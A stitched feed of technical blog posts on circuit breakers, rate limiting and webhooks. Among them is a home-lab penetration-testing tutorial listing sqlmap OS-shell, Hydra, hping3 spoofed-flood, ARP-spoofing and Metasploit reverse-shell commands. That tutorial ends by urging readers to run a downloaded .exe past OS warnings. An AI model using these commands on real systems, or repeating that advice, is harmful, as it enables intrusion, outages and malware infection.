If you run more than a handful of services that call each other over the network, you have probably seen this failure mode: one service gets slow or starts timing out, and instead of staying contained, the problem spreads. Threads pile up waiting on responses that never come, queues back up, and eventually services that had nothing wrong with them start failing too, because they were busy waiting on the one that did. This is a cascading failure, and the circuit breaker pattern is the standard tool for stopping it.

The problem: slow failures are worse than fast ones

A service that returns an error immediately is usually fine. Callers catch it, maybe retry, maybe degrade gracefully, and move on. The dangerous case is a service that is slow to fail, or that fails intermittently under load.

Say service A calls service B, and B's database is struggling, so B takes 20 seconds to respond instead of 200 milliseconds. Every request from A to B now holds a connection, a thread, or an event loop slot for 20 seconds. If A has a limited pool of workers (and it does), that pool fills up with requests stuck waiting on B. Soon A cannot serve any requests at all, including ones that have nothing to do with B. Now A looks down to its own callers, and the problem spreads one hop further.

This is how a single struggling dependency turns into a full outage. The fix is not to make B faster (you often cannot, in the moment). The fix is to stop calling B once it is clear that calls to B are not going to succeed.

How a circuit breaker works

A circuit breaker wraps a call to a dependency and tracks whether recent calls have been succeeding or failing. It behaves like an electrical circuit breaker: it sits in the path of the call, and it trips open when something downstream is going wrong, cutting the connection before the damage spreads further upstream.

It has three states:

Closed is the normal state. Requests flow through to the dependency as usual. The breaker counts failures (timeouts, errors, or both, depending on configuration) within a rolling window.

Open is the tripped state. Once failures cross a threshold (for example, more than 50 percent of calls failing over the last 20 calls, or 5 consecutive timeouts), the breaker opens. While open, calls to the dependency are not attempted at all. The breaker returns an error immediately, or falls back to a default response, without touching the network. This is the key benefit: callers stop waiting on a dependency that is not going to answer, and they stop consuming resources doing it.

Half-open is the recovery check. After a cooldown period, the breaker allows a small number of test requests through. If they succeed, the breaker closes again and normal traffic resumes. If they fail, it goes back to open and waits for another cooldown.

The effect is that a failing dependency gets isolated quickly, and the system periodically checks whether it has recovered, without hammering it with full traffic while it is still unhealthy.

Circuit breakers are not the same as retries

It is worth being explicit about this because the two are often used together and sometimes confused. A retry handles a single request: if it fails, try again, maybe with backoff. A circuit breaker handles a pattern across many requests: if enough recent calls have failed, stop making new ones for a while.

Used together, they complement each other. A request might retry two or three times with backoff, and if those retries are also failing across many different callers, the circuit breaker trips and stops the retries from compounding the load on the struggling service. Retrying without a circuit breaker on a dependency that is down can make things worse, because now every caller is sending multiple requests instead of one, adding load to a service that already cannot keep up.

What to put behind a breaker, and what to do when it trips

Not every call needs a circuit breaker. It matters most for calls to external dependencies you do not control directly: other internal services, third-party APIs, databases under heavy load. Calls that are cheap, local, and reliable usually do not need one.

When a breaker is open, the calling code needs a plan for what to do instead of the normal response. Common options:

Return a cached or default value. If a recommendations service is down, show no recommendations instead of failing the whole page.

Degrade the feature. If a pricing service is down, show a product page without real time pricing instead of refusing to load the page at all.

Fail the specific operation, not the whole request. If checkout calls both an inventory service and a loyalty points service, and loyalty points is open, let the checkout proceed without applying points rather than blocking the purchase.

Queue the work for later. For non urgent operations, write to a queue and process once the dependency recovers, instead of blocking the caller.

The right fallback is specific to what the feature means to the user, which is why circuit breakers are usually implemented in application code or a shared library, not purely at the infrastructure layer.

Where it lives in practice

You rarely need to hand write a circuit breaker from scratch. Most ecosystems have mature libraries: resilience4j for Java, Polly for .NET, opossum for Node.js, and pybreaker for Python. Service mesh tools like Istio and Linkerd can also apply circuit breaking at the network layer, which is useful for stopping traffic between services without changing application code, though it is coarser than an application level breaker that can choose a meaningful fallback.

Whichever layer you implement it at, the configuration choices that matter are the failure threshold (how many failures before tripping), the window size (how many recent calls to consider), and the cooldown duration (how long to wait before testing recovery). Set the threshold too low and healthy services trip under normal blips. Set it too high and the breaker does not protect anything until the damage is already done. These numbers are usually tuned from observed latency and error rates for each specific dependency, not set once globally.

How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)

Thu, 01 Oct 2026 11:52:16 +0000

Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.

A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).

You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.

My name is Elijah Abolaji, and I developed this guide for educational purposes only.

⚠️ Legal & Ethical Ground Rules

Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.

Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.

Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done "just to learn." Keep this lab air-gapped from anything else.
️ Hardware Requirements

For a smooth-running lab, you'll need a computer with:

4-core processor

16GB RAM

SSD storage

Anything below this still works, but not efficiently.

️ Step 1: Install VirtualBox

Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.

Step 2: Download & Install Kali Linux (Attacker)

What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.

Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update && sudo apt full-upgrade -y

Step 3: Download & Install Ubuntu Server (Target)

Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM "Ubuntu-Target" (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.

Step 4: Building the Isolated Lab Network

This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.

In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20

Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.

Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.

Step 5: Reconnaissance & Scanning (from Kali)

Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).

Goal: Find out what's alive on the network and which ports/services are open before touching anything.
bash

Host discovery & port scanning

nmap 192.168.100.0/24 # scan the subnet
nmap -sn 192.168.100.0/24 # ping sweep
nmap -p- 192.168.100.20 # all 65535 ports
sudo nmap -sS 192.168.100.20 # SYN stealth scan

Service & OS detection

sudo nmap -A 192.168.100.20 # OS, version, scripts
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports
sudo nmap -O 192.168.100.20 # OS fingerprinting

Nmap Scripting Engine (NSE)

nmap --script vuln 192.168.100.20
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20
nmap -p 80 --script http-enum,http-headers 192.168.100.20

Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.
Step 6: Web Enumeration

Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.
bash

Directory brute-forcing

gobuster dir -u http://192.168.100.20 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://192.168.100.20 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Automated & manual scanning

nikto -h http://192.168.100.20 # automated vulnerability scanner
curl -i http://192.168.100.20 # view response headers
curl -X POST -d "id=1" http://192.168.100.20/vulnerable.php
burpsuite # launch the Burp Suite proxy (GUI)

Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.

Step 7: SQL Injection with SQLmap

Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.
bash

Basic usage

sqlmap -u "http://192.168.100.20/page.php?id=1" --batch
sqlmap -u "http://192.168.100.20/page.php?id=1" --dbs
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva --tables
sqlmap -u "http://192.168.100.20/page.php?id=1" -D dwva -T users --dump

Using a captured request (with auth cookies)

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D dwva -T users --dump

Advanced options

sqlmap -r request.txt --batch --level=5 --risk=3 # more thorough
sqlmap -r request.txt --batch --os-shell # attempt OS shell
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass

Step 8: Password Attacks

Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.
bash

Hydra - online brute force

hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20
hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

John the Ripper - offline cracking

john --wordlist=rockyou.txt hashes.txt
john --format=raw-md5 --wordlist=rockyou.txt hash.txt

Hashcat - GPU cracking

hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 1000 hash.txt rockyou.txt # NTLM

Tool Best for
Hydra Live login attempts against a running service (SSH, web forms)
John the Ripper Cracking a password hash you already have, CPU-based
Hashcat Cracking hashes fast using your GPU
Step 9: Denial of Service (DoS) Testing

Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.

Before you start: hping3 ships with Kali by default. Install anything missing:
bash

sudo apt install -y hping3 slowhttptest apache2-utils

bash

hping3 - flood attacks

sudo hping3 -S --flood -p 80 192.168.100.20
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20
sudo hping3 --udp --flood -p 80 192.168.100.20
sudo hping3 --icmp --flood 192.168.100.20

slowhttptest - application-layer

slowhttptest -B -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow POST
slowhttptest -R -c 1000 -i 10 -l 300 -u http://192.168.100.20/ # Slow Read

Apache Benchmark - load testing

ab -n 10000 -c 500 http://192.168.100.20/

hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds
️ Step 10: Sniffing & Man-in-the-Middle
bash

Packet capture

wireshark # packet capture GUI
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 port 80 -A
sudo tcpdump -i eth0 host 192.168.100.20

ARP spoofing & MITM frameworks

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

sudo ettercap -G # GUI
sudo bettercap -iface eth0

How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.
Step 11: Metasploit Framework

Goal: Move from "this service looks vulnerable" to an actual working exploit against the Ubuntu target, using a pre-built module.
bash

sudo msfconsole

Inside msfconsole:
bash

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.100.20
set USERNAME testuser
set PASSWORD password123
run

Reverse shell example:
bash

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.10
set LPORT 4444
run

Step 12: Snapshot Management (VBoxManage)

Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.
bash

VBoxManage list vms
VBoxManage snapshot "Kali" take "Snapshot-Name" --description "Description"
VBoxManage snapshot "Kali" list
VBoxManage snapshot "Kali" restore "Snapshot-Name"
VBoxManage snapshot "Kali" delete "Snapshot-Name"

VM power control

VBoxManage startvm "Kali" --type headless
VBoxManage controlvm "Kali" poweroff

⚙️ Part 2: Ubuntu Target Configuration

Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.
Network & Service Configuration
bash

Network configuration

ip a # check interfaces
sudo nano /etc/netplan/01-netcfg.yaml # static IP config
sudo netplan apply # apply changes
sudo netplan try # test, auto-rollback if it fails
ping -c 3 192.168.100.10 # verify Kali is reachable

Service management

sudo systemctl restart apache2
sudo systemctl restart ssh
sudo systemctl restart mariadb

sudo systemctl status apache2
sudo systemctl status ssh
sudo systemctl status mariadb

Check listening ports

ss -tlnp
sudo netstat -tlnp

SSH Server Setup
bash

Install & enable

sudo apt update
sudo apt install -y openssh-server
sudo systemctl enable --now ssh
sudo systemctl status ssh

Create a test account & review config

sudo adduser testuser # for Hydra practice
sudo nano /etc/ssh/sshd_config

Key options to inspect:
text

PermitRootLogin no
PasswordAuthentication yes
Port 22

Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.

MariaDB / MySQL Setup

Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: http://target-ip/DVWA
bash

sudo mysql -u root

Inside MySQL:
sql

CREATE DATABASE dwva;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';
FLUSH PRIVILEGES;

SHOW DATABASES;
USE dwva;
SHOW TABLES;
SELECT * FROM users;
EXIT;

Step 13: Installing DVWA (Vulnerable Web App)

What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.

Install the LAMP stack plus git:
bash

sudo apt install -y apache2 \
mariadb-server php php-mysql \
php-gd libapache2-mod-php git

Clone DVWA from GitHub into Apache's web root:
bash

cd /var/www/html/
sudo git clone https://github.com/digininja/DVWA.git

Open permissions so DVWA can write its config:
bash

sudo chmod -R 777 /var/www/html/DVWA/

Copy the sample config and point it at your database:
bash

cd /var/www/html/DVWA/config/
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'

Access it: Open http://<Ubuntu-IP>/DVWA/setup.php from Kali's browser. Default login is admin / password. Set the security level to "low" while you're first learning each attack.
Step 14: Monitoring & Apache Hardening

Watching the target during an attack:
bash

top / htop # live resource usage
ss -tn state established '( sport = :80 )' | wc -l # count HTTP connections
sudo iftop -i enp0s3 # live network traffic
sudo tail -f /var/log/apache2/access.log # request log
ps aux | grep apache # process monitoring

Hardening Apache:
bash

sudo a2enmod reqtimeout
sudo a2enmod headers
sudo systemctl restart apache2

Sample hardening for /etc/apache2/apache2.conf:
text

Timeout 30
MaxRequestWorkers 150
KeepAliveTimeout 5

Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.
End Of Lab

Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.

If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:

https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.

This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.
About Me

I am a usual guy that likes technology. If you wish to know more about me, follow me:

LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse

Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.

The most dangerous sentence in any tutorial is "it should look like this"

Wed, 30 Sep 2026 16:05:03 +0000

Every tutorial I've ever followed has a moment where the author shows a screenshot or a photo and says "your project should look like this."

And every single time, mine doesn't.

The code is identical. The wiring matches the diagram. The versions are the same. But something is wrong, and the tutorial has already moved on to the next step, and there is no "what to do if it doesn't look like this" section because the author's setup worked on the first try.

I've spent more time debugging the gap between a tutorial's happy path and my actual reality than I've spent following the tutorials themselves.

What's the longest you've been stuck on a step that the tutorial breezed past in one sentence?

Rate Limiting Algorithms: Token Bucket vs Sliding Window Explained

Wed, 30 Sep 2026 06:29:38 +0000

Every public API eventually needs a way to say "not so fast." Without it, one misbehaving client, a retry loop gone wrong, or a scraper can consume enough capacity to slow the service down for everyone else. Rate limiting is the mechanism that enforces a cap on how many requests a client can make in a given period, and the algorithm you pick decides how fair, how bursty, and how expensive that enforcement actually is.

Two algorithms show up in almost every real system: token bucket and sliding window. They solve the same problem but make different tradeoffs, and picking the wrong one for the situation shows up later as either angry customers getting blocked unfairly or a service that never really protects itself.

Why rate limiting exists in the first place

A rate limit protects three things at once: the backend's own capacity, other tenants sharing that capacity, and, less obviously, the calling client itself. A client that's about to exceed a limit is often about to make things worse for itself too, retrying failed requests in a loop, burning through a budget, or hammering a downstream service it doesn't realize is struggling.

Limits are usually expressed as "N requests per period," like 100 requests per minute. The simplest possible implementation, a fixed window counter that resets every 60 seconds, has an obvious flaw: a client can send 100 requests in the last second of one window and another 100 in the first second of the next, producing 200 requests in roughly two seconds even though the stated limit is 100 per minute. Both token bucket and sliding window exist to close that gap.

The token bucket algorithm

A token bucket holds a fixed number of tokens, refilled at a steady rate, say one token every 600 milliseconds for a 100-per-minute limit. Every incoming request consumes one token. If a token is available, the request goes through and the count drops by one. If the bucket is empty, the request is rejected or delayed until the next token arrives.

The useful property here is that the bucket can hold unused tokens up to its capacity, which means a client that's been idle can send a short burst of requests immediately, then settle into the steady refill rate. This matches how real traffic actually behaves: a dashboard that loads ten resources at once on page load, then goes quiet. Token bucket tolerates that burst without needing a special case for it.

The tradeoff is that token bucket is a smoothing model, not a precise historical count. It doesn't answer "how many requests happened in the last 60 seconds," it answers "is there capacity available right now," which is a different (and usually more useful) question for protecting a backend, but a worse fit if the actual requirement is a hard, auditable cap like "this API key gets exactly 10,000 calls a day."

The sliding window algorithm

Sliding window fixes the boundary problem in fixed windows by looking at a rolling period instead of a fixed calendar-aligned one. Instead of asking "how many requests since minute 0," it asks "how many requests happened in the last 60 seconds, starting from right now."

There are two common ways to implement it. A true sliding log keeps a timestamp for every request and counts how many fall inside the trailing window, which is accurate but can get memory-heavy under high request volume. A sliding window counter approximates this cheaply: it keeps two fixed window counters (the current one and the previous one) and computes a weighted count based on how far into the current window the request landed. That weighted approach is what most production systems, including common Redis-based rate limiters, actually implement, because it gets very close to the true sliding log at a fraction of the storage cost.

Sliding window's strength is precision and fairness across the boundary, it closes the fixed-window loophole directly and gives an answer that matches what a person means by "100 requests per minute." Its weakness is that it doesn't naturally allow the same kind of burst tolerance that token bucket gives for free. A client that's been well under its limit for an hour gets no credit for that when a burst arrives.

Comparing the two in practice

Token bucket tends to fit situations where short bursts are normal and desirable, API gateways protecting infrastructure, client SDKs pacing their own outbound calls, or anywhere the goal is smoothing traffic rather than producing an exact count. Sliding window tends to fit situations where the limit is a contractual or billing-relevant number, like a per-plan API quota that needs to be enforceable and explainable to a customer who asks why they got a 429.

Neither algorithm is inherently "more correct." A payments API and an internal caching layer within the same company might reasonably choose different ones for the same nominal limit, because they're actually solving different problems: one is protecting shared infrastructure from spikes, the other is enforcing a plan boundary a customer agreed to.

Where enforcement actually lives

Rate limiting can sit in a few different places, and where it sits changes what's practical. At the API gateway or edge (a service like Cloudflare, or a reverse proxy), it protects the backend before a request even reaches application code, which is the right place for coarse, infrastructure-protecting limits. Inside the application, backed by a shared store like Redis, it can enforce per-user or per-API-key limits with either algorithm, since Redis makes atomic increment-and-check operations cheap and the same counters are visible across every application instance. Purely in-memory, per-process limiting is the least reliable option in any system running more than one instance, because each instance ends up enforcing its own separate limit rather than a shared one.

Whichever layer enforces the limit, the response matters as much as the algorithm. A 429 status code with a Retry-After header, or the increasingly standard RateLimit response headers, tells a well-behaved client exactly when to try again instead of forcing it to guess and retry blindly, which is itself a good way to accidentally cause the exact overload the limit was meant to prevent.

Choosing between them

A reasonable default: use token bucket when the goal is protecting a system from spiky traffic and bursts are actually fine, and use sliding window when the limit needs to be precise, explainable, and tied to something like a pricing plan or contractual quota. Plenty of systems end up combining the two: a fast token bucket at the edge to absorb spikes, and a sliding window count further in to enforce the account-level quota that shows up on an invoice.

What is a webhook? How webhooks work, and the six ways they break in production

Thu, 24 Sep 2026 11:58:53 +0000

This is a cross-post. The original on the Railhook blog has a diagram for each part: the anatomy of a signed request, polling against push, the retry ladder, duplicates, out-of-order delivery and secret rotation.

A customer pays for order ord_8412. The shop sends your backend a webhook, and your handler
awards loyalty points, emails a receipt and calls the warehouse — which takes eleven seconds. The
sender's timeout is ten, so it marks the delivery failed and sends it again. The customer gets two
receipts and double points, and your logs show two perfectly healthy 200s.

Nothing in that story is a bug in the usual sense. Every line of the handler did what it said. It
is what happens when code written for a function call meets a protocol built on retries — and it
is the first of six failures this guide walks through, after the basics every one of them depends
on.

What is a webhook?

A webhook is an HTTP POST that one system sends to a URL another system registered, at the
moment an event happens. The receiver registers once — "when an order is created, tell me at
this URL" — and from then on the sender calls it every time. This is what one looks like, signed
the way the open Standard Webhooks
specification describes:

POST /webhooks/orders HTTP/1.1
Host: api.example-shop.com
Content-Type: application/json
Content-Length: 186
webhook-id: msg_2mQ8hZk3Xv9aR1cT
webhook-timestamp: 1789983612
webhook-signature: v1,pX/4CnjtyRIdKhtP4FEBLl0a8pgk0IErOOHRkgsduog=

{
  "type": "order.created",
  "timestamp": "2026-09-21T09:40:12Z",
  "data": {
    "order_id": "ord_8412",
    "customer_id": "cus_2291",
    "total": 42.50,
    "currency": "EUR"
  }
}

The signature is real. It was made with the secret
whsec_DioEXswemwdu+ScHzpEImNzhtrASzXe0vxCXPBmwuTM=: paste the body, that secret and the three
headers into the signature verifier and it will say the signature is
valid — and that the timestamp is far too old to accept. Both answers are correct, and the second
one is a security feature.

Webhook vs API polling

The alternative to being told is asking: calling the other system's API on a timer to see whether
anything changed.

	Polling an API	Receiving a webhook
Who starts the request	You, on a timer	The sender, when something happens
Delay	Up to one polling interval	Usually seconds
Requests when nothing happens	One per interval, forever	None
What you must run	A scheduled job	A public HTTPS endpoint
If you are down	You catch up on the next poll	You depend on the sender's retries

Shorten a polling interval and you pay in requests and rate limits; lengthen it and you pay in
lag. A webhook costs one request per event. But read the last row twice: polling fails safe,
because a missed poll is repeated by the next one, while a webhook fails however the sender
decides. That is why polling keeps a job in a good webhook integration — as the slow
reconciliation that catches whatever the webhooks missed.

Sending webhooks: what the sender decides

Event types. Conventionally resource.verb in the past tense: order.created,
invoice.paid. The Standard Webhooks spec asks for a full-stop delimited type, with a
timestamp and a data object next to it. Treat types as a public API: renaming one breaks every
receiver that routes on it.

Payloads. A full snapshot of the resource saves the receiver a round trip; a thin
notification carrying only an id makes it fetch the current state, which is never stale.
Stripe offers both and calls them exactly that.

Subscriptions. Which endpoint wants which event types. Sending everything to everyone just
makes every receiver filter traffic it never asked for.

Signing. Anyone can POST to a public URL, so the receiver needs proof the request came from
you, unaltered. That proof is an HMAC — a hash of the message keyed with a secret only the two of
you hold. Standard Webhooks signs webhook-id, webhook-timestamp and the raw body joined by full
stops, with HMAC-SHA256, and sends the base64 result after a v1, prefix. The secret is 24 to 64
random bytes, base64-encoded, with a whsec_ prefix.

A replay window. The timestamp is signed so that a captured request cannot be sent again
tomorrow: the receiver rejects anything older than a few minutes. The spec leaves the tolerance to
you; Stripe's libraries default to five minutes, a sensible place to start.

Timeouts and status codes. The spec recommends a request timeout "somewhere between 15 and
30s". 2xx is success and anything else is retried — including redirects, which
Stripe also counts as failures. Two codes carry extra meaning:
410 Gone asks the sender to disable the endpoint, 429 Too Many Requests asks it to slow down
(MDN has the full list).

Receiving webhooks: four jobs, in order

Verify the signature on the raw bytes

Verification means recomputing the HMAC and comparing. What breaks it most often is what you
compute it over: it must be the exact bytes that arrived.

Look at the example body. It says "total": 42.50. Parse it and serialise it back and you get
{"type":"order.created",…,"total":42.5,…} — no whitespace, no trailing zero. Same data, different
bytes, a completely different HMAC. Many frameworks parse JSON before your handler runs, so the
body you are handed is already the wrong one. Stripe puts it bluntly: "Any manipulation to the raw
body of the request causes the verification to fail."

In Node with Express, ask for the raw bytes on that one route:

import crypto from 'node:crypto';
import express from 'express';

const secret = Buffer.from(process.env.WEBHOOK_SECRET.replace(/^whsec_/, ''), 'base64');
const TOLERANCE_SECONDS = 5 * 60;

// rawBody is a Buffer: the bytes that arrived, before any JSON parser saw them.
function verifyWebhook(rawBody, headers) {
  const id = headers['webhook-id'];
  const timestamp = headers['webhook-timestamp'];
  const signatures = headers['webhook-signature'];
  if (!id || !/^\d+$/.test(timestamp ?? '') || !signatures) return false;

  // The replay window: a captured request is useless five minutes later.
  if (Math.abs(Date.now() / 1000 - Number(timestamp)) > TOLERANCE_SECONDS) return false;

  const expected = crypto
    .createHmac('sha256', secret)
    .update(`${id}.${timestamp}.`)
    .update(rawBody)
    .digest();

  // Space-separated: during a secret rotation there is one signature per secret.
  return signatures.split(' ').some((entry) => {
    const [version, value] = entry.split(',');
    if (version !== 'v1' || !value) return false;
    const received = Buffer.from(value, 'base64');
    return received.length === expected.length && crypto.timingSafeEqual(received, expected);
  });
}

const app = express();
app.post('/webhooks/orders', express.raw({ type: 'application/json' }), (req, res) => {
  if (!verifyWebhook(req.body, req.headers)) return res.sendStatus(400);
  // …record the id, enqueue, answer (below)
  res.sendStatus(200);
});

The same in Python, where Flask's request.get_data() returns the untouched bytes:

import base64
import hashlib
import hmac
import os
import time

SECRET = base64.b64decode(os.environ["WEBHOOK_SECRET"].removeprefix("whsec_"))
TOLERANCE_SECONDS = 5 * 60


def verify_webhook(raw_body: bytes, headers) -> bool:
    msg_id = headers.get("webhook-id")
    timestamp = headers.get("webhook-timestamp", "")
    signatures = headers.get("webhook-signature")
    if not (msg_id and signatures and timestamp.isascii() and timestamp.isdigit()):
        return False

    # The replay window: a captured request is useless five minutes later.
    if abs(time.time() - int(timestamp)) > TOLERANCE_SECONDS:
        return False

    signed = f"{msg_id}.{timestamp}.".encode() + raw_body
    expected = base64.b64encode(hmac.new(SECRET, signed, hashlib.sha256).digest())

    # Space-separated: during a secret rotation there is one signature per secret.
    for entry in signatures.split():
        version, _, value = entry.partition(",")
        if version == "v1" and hmac.compare_digest(value.encode(), expected):
            return True
    return False

Three details are deliberate. The comparison is constant-time (timingSafeEqual,
compare_digest), as the spec requires: a plain == returns sooner the earlier two strings
differ, and leaks the answer a byte at a time. The secret is base64-decoded after whsec_ is
stripped — using the string as-is is a classic reason a correct implementation never verifies
anything. And the header may carry several signatures, which matters the day you rotate. If you
would rather not own this code, the Standard Webhooks project publishes libraries that do exactly
this for most languages.

Answer in milliseconds, work later

The sender is holding a connection open and counting.
GitHub
gives you ten seconds, then "considers the delivery a failure". Stripe publishes no number; it
says to return 2xx "before any complex logic that could cause a timeout", and to process events
from an asynchronous queue.

So the handler does the minimum: verify, record the event id, enqueue, return 200. The email, the
warehouse call, the loyalty points — the eleven seconds from the opening — happen in a worker,
where nobody is waiting and a failure is yours to retry.

Deduplicate on the event id

A sender that retries will eventually deliver something twice. The spec says webhook-id
"remains the same no matter how many times a webhook that has failed is retried", and tells
receivers to use it as an idempotency key. Other providers have their own: X-GitHub-Delivery,
X-Shopify-Webhook-Id, the event's id at Stripe. The robust version is a unique constraint and
an insert that is allowed to do nothing:

def accept(conn, msg_id: str, raw_body: bytes) -> bool:
    """Stores the event once. Returns False if this id was already accepted."""
    cursor = conn.execute(
        "INSERT INTO received_webhooks (msg_id, body) VALUES (%s, %s) "
        "ON CONFLICT (msg_id) DO NOTHING",
        (msg_id, raw_body),
    )
    return cursor.rowcount == 1

A duplicate still gets a 200. You have it already, and an error would only make the sender try
again.

Never assume order

Unless a sender explicitly promises ordering, assume there is none. Stripe says outright that it
"doesn't guarantee the delivery of events in the order that they're generated". Failure four below
is what to do about it.

Six ways webhooks break in production

1. Your endpoint is down: who retries, and for how long?

A deploy, a crashed pod, an expired certificate. The sender gets a connection error or a 5xx,
and what happens next is entirely its policy. Good senders retry with exponential back-off — each
wait longer than the last, with random jitter so a backlog of retries does not land in the same
second. The Standard Webhooks spec's example schedule starts immediately and runs for more than
three days.

Not every sender retries. GitHub "does not automatically redeliver failed webhook deliveries"
(GitHub);
you redeliver by hand or through its API. Our
comparison of Stripe, GitHub and Shopify
puts three real policies side by side.

Takeaway: know each sender's retry schedule before the outage, and never return 2xx for an
event you have not stored — a 200 is a promise that you have it.

2. Your endpoint is slow: a timeout is a retry you asked for

A timeout looks like downtime to the sender, with one nasty difference: your handler may have
finished the work. That is the opening story. A slow endpoint converts directly into duplicate
processing, and it gets slower under load — exactly when a burst of retries arrives.

Takeaway: acknowledge inside the budget, whatever the work costs. If you do not know your
handler's 99th-percentile latency, measure it before anything else.

3. The same event arrives twice

Duplicates come from retries after a lost response, from redeliveries someone triggered by hand,
and from the sender itself. Stripe's docs say so in one sentence: "Webhook endpoints might
occasionally receive the same event more than once."

Takeaway: check the id before any side effect, in the same transaction that records the event.
A check in memory, or one after the email has gone, is not a check.

4. Events arrive out of order

An order.created whose first attempt failed can arrive after the order.updated and
order.cancelled that followed it. Apply them in arrival order and a cancelled order comes back
to life.

Compare a version or an updated_at on the resource and ignore anything older than what you
hold — or treat the webhook as a nudge and fetch the current state from the sender's API. Be wary
of the event timestamp as a tiebreaker: Stripe notes its events record created in seconds, so
distinct events can share one.

Takeaway: every handler must produce the right state whatever order its events arrive in.

5. Signatures suddenly stop verifying

